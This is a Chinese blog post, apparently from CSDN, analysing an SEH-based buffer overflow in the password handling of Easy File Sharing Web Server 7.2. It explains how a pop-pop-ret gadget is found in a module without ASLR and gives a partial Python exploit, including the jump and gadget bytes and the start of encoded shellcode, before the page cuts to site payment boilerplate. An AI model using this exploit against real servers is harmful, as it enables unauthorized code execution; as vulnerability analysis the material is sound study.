Easy File Sharing Web Server 7.2 漏洞分析及利用

本文详细分析了Easy File Sharing Web Server 7.2的缓冲区溢出漏洞,揭示了漏洞成因,即在password处理中未控制字符串长度。利用过程中,通过确定溢出点位置并寻找SEH,利用'pop pop ret'指令构造exploit代码。PoC使用Python实现,对于开启ASLR的程序,提出了利用未开启ASLR的模块来绕过保护的方法。
摘要由CSDN通过智能技术生成

1.软件简介

Easy File Sharing Web Server 是一种允许访客容易地经由浏览器上传/下载文件的文件分享系统.

2.漏洞成因

在对password进行字符串拷贝的时候,没有控制长度,导致缓冲区溢出.
这里写图片描述

3.利用过程

1.首先先向服务端发送消息,确定溢出点位置.使用winDbg跟踪发现,因为覆盖了SEH导致触发漏洞.
这里写图片描述
2.因此我们需要找到跳板指令”pop pop ret”,使用mona来查找.(尽量避免出现0x00 防止传送过程中被截断).
这里写图片描述
先找一下没有开启ASLR的模块.
这里写图片描述
这样就可以构造我们的Expolit代码了.
内存分布为:
这里写图片描述

4.PoC

代码使用python实现:

import socket, struct

host = "192.168.120.135"
port = 80

szFill = "A"*57    #61-4
szJmp = '\xeb\x08\x90\x90' #jmp 08

szAddress1 = "\x89\xa8\x01\x10"   #0x1001a889 : pop ebp # retn
szFillNop = "\x90"*3
szShellCode =  \
"\x33\xC0\xE8\xFF\xFF\xFF\xFF\xC3\x58\x8D\x70\x1B\x33\xC9\x66\xB9"\
"\x3A\x01\x8A\x04\x0E\x34\x18\x88\x04\x0E\xE2\xF6\x80\x34\x0E\x18"\
<
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值